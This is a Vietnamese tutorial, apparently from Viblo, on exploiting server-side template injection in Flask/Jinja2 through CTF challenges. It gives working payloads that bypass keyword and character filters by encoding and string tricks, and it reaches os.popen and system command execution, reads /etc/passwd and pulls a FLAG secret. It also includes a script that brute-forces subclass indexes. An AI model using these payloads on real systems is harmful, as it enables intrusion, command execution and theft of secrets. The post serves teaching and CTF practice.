Server-side template injection vulnerabilities (SSTI) - Các lỗ hổng SSTI (phần 3)
IV. Kỹ thuật bypass filter qua một số challenge CTF
1. Một số kỹ thuật bypass filter
Bài viết này chủ yếu tập trung vào các kỹ thuật bypass filter trong các challenge CTF.
Sử dụng request.args
request.args
là một đối tượng trong framework Flask của Python, chứa tất cả các đối số được truyền từ URL vào ứng dụng Flask. Chúng ta có thể sử dụng đối tượng này bypass một số từ khóa bị filter. Ví dụ:
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
Đối tượng request.values
cũng có chức năng tương tự.
Sử dụng attr()
Có thể kết hợp |
và hàm attr()
để bypass các ký tự bị filter như .
. Ví dụ:
()|attr('__class__')
Kỹ thuật đảo ngược chuỗi
Kỹ thuật đảo ngược chuỗi các từ khóa bị filter thực sự hiệu quả trong các challenge CTF. Sử dụng đảo ngược chuỗi đặc trưng [::-1]
trong Python, ví dụ:
{{()['__ssalc__'[::-1]]}}
Kỹ thuật ghép chuỗi
Kỹ thuật ghép chuỗi có thể được dùng bypass filter các từ khóa, ví dụ:
()['__cla'+'ss__']
Sử dụng hàm lower()
Đôi khi có thể bypass các từ khóa bị filter bằng cách chuyển từ ký tự in hoa xuống in thường. Ví dụ:
os.popen('ID'.lower())
Sử dụng hàm pop()
Trong trường hợp ký tự [] bị filter khiến chúng ta không thể lấy được function trong dict, có thể sử dụng hàm pop()
bypass, ví dụ:
().__class__.__mro__[1].__subclasses__().pop(133)
Sử dụng các loại mã hóa
Hệ cơ số encode là một cách bypass filter từ khóa hiệu quả. Chẳng hạn với hex encode, ví dụ:
Encode ().__class__
thành ()["\x5f\x5fc\x6cass\x5f\x5f"]
Bên cạnh đó chúng ta cũng có thể sử dụng các hệ cơ số mã hóa khác. Ví dụ với hệ cơ số mã hóa:
().__class__
thành ()["\137\137\143\154\141\163\163\137\137"]
Unicode mã hóa:
''.__class__
thành ''["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]
Sử dụng các từ unicode đặc biệt
Các ký tự unicode có thể sử dụng bypass filter các từ khóa đặc biệt. Bạn đọc có thể chuyển đổi tại https://www.compart.com/en/unicode/U+0030.
2. Tìm kiếm subclasses hiệu quả
Chắc hẳn nhiều bạn còn hoang mang với việc tìm kiếm các subclasses hữu dụng trong quá trình làm các challenges CTF về lỗ hổng SSTI. Với hàng trăm classes như vậy, làm sao để biết sử dụng cái nào?
Trong phần , tôi đã tổng hợp một số classes hữu dụng trong quá trình khai thác. Để sử dụng được chúng, cần xác định chính xác vị trí của class đó trong danh sách. Có thể sử dụng chức năng Intruder của Burpsuite. Chuyển request đến Intruder, ý tưởng sẽ là brute force tất cả subclass và dựa vào từ khóa xuất hiện trong response để xác định số thự tự.
Chẳng hạn với class os._wrap_close
Từ kết quả xác định được thứ tự class này là .
Chúng ta cũng có thể tự động hóa bằng script. Ví dụ một python script như sau:
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36'
}
for i in range(500):
url = "http://xxx.xxx.xxx.xxx:xxxx/?get_param={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
res = requests.get(url=url,headers=headers)
if 'FileLoader' in res.text: # Ví dụ với FileLoader
print(i)
Đối với từng class, chúng ta có một số phương thức có thể sử dụng với mục đích đọc file tùy ý, hoặc thực thi mệnh lệnh. Một số phương thức thông dùng trong các class:
Phương thức system
và popen
trong class os._wrap_close
. Ví dụ:
[].__class__.__mro__[1].__subclasses__()[127].__init__.__globals__['system']('ls')
[].__class__.__mro__[1].__subclasses__()[127].__init__.__globals__['popen']('ls').read()
Phương thức __builtins__
trong class warnings.catch_warnings
có thể import os
. Ví dụ:
{{[].__class__.__base__.__subclasses__()[144].__init__.__globals__.__builtins__['__import__']('os').popen('id').read()}}
Phương thức
3. Challenge CTF 1
Khi truy cập các path không tồn tại của ứng dụng, giao diện trả về với path tìm kiếm. Thử với payload {{7*7}}
giao diện trả về . Chứng tỏ ứng dụng sử dụng template riêng cho các trường hợp người dùng tìm kiếm trang không tồn tại và chứa lỗ hổng SSTI.
Với payload {{7*'7'}}
, giao diện trả về 7777777
, chứng tỏ ứng dụng sử dụng template Jinja2.
Truy cập lớp str
, payload {{''.__class__}}
Thử các trường hợp nhận thấy từ khóa class
bị chặn, chúng ta có thể bypass bằng cách ghép chuỗi, payload {{''.__'cl'+'ass'__}}
Tiếp tục xây dựng payload bằng kỹ thuật ghép chuỗi. Trả về danh sách class, payload:
{{''['__cla'+'ss__']['__m'+'ro__'][-1]['__subc'+'lasses__']()}}
Trong challenge này tên file flag được leak trong source code:
Nên chúng ta sử dụng class file
với index :
Đọc flag nhưng ứng dụng filter từ khóa read
:
Bypass bằng request.args
, payload
{{''['__cla'+'ss__']['__m'+'ro__'][-1]['__subc'+'lasses__']()[40]('/path/to/flag')[request.args.a]()}}?a=read
4. Challenge CTF 2
Challenge cung cấp source code như sau:
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
Để ý rằng một số ký tự và từ khóa bị filter như (
, )
, config
, self
. Flag cần tìm được đặt trong biến môi trường FLAG.
Dựng lại challenge tại local, thay đổi source code như sau (bỏ đi các cơ chế filter):
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = 'Viblo{secret}'
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
# s = s.replace('(', '').replace(')', '')
# blacklist = ['config', 'self']
blacklist = ['nofilter']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5000)
Mục đích của chúng ta là đọc được biến môi trường FLAG
. Trong trường hợp có thể sử dụng (
và )
, payload RCE:
{{[].__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']('id').read()}}
Nếu có thể sử dụng config
, payload {{config.FLAG}}
Nếu có thể sử dụng self
, payload {{self.__dict__}}
Trở lại challenge, chúng ta cần tìm cách đọc được biến môi trường FLAG
mà không sử dụng tới các từ khóa config
, self
và các ký tự (
, )
. Ngoài hai từ khóa bị filter này, chúng ta còn có nhiều từ khóa được phép sử dụng như url_for
, g
, request
, namespace
, lipsum
, range
, session
, dict
, get_flashed_messages
, cycler
, joiner
, ...
Chẳng hạn với {{url_for.__globals__}}
Trong Python, current_app
là một đối tượng được sử dụng trong Flask framework để truy cập ứng dụng Flask hiện tại. Đây đồng thời có thể truy cập các cấu hình, log và các phương thức khác của ứng dụng.
Truy cập biến môi trường FLAG
:
Các tài liệu tham khảo
- https://portswigger.net/web-security/server-side-template-injection
- https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
©️ Tác giả: Lê Ngọc Hoa từ Viblo
All rights reserved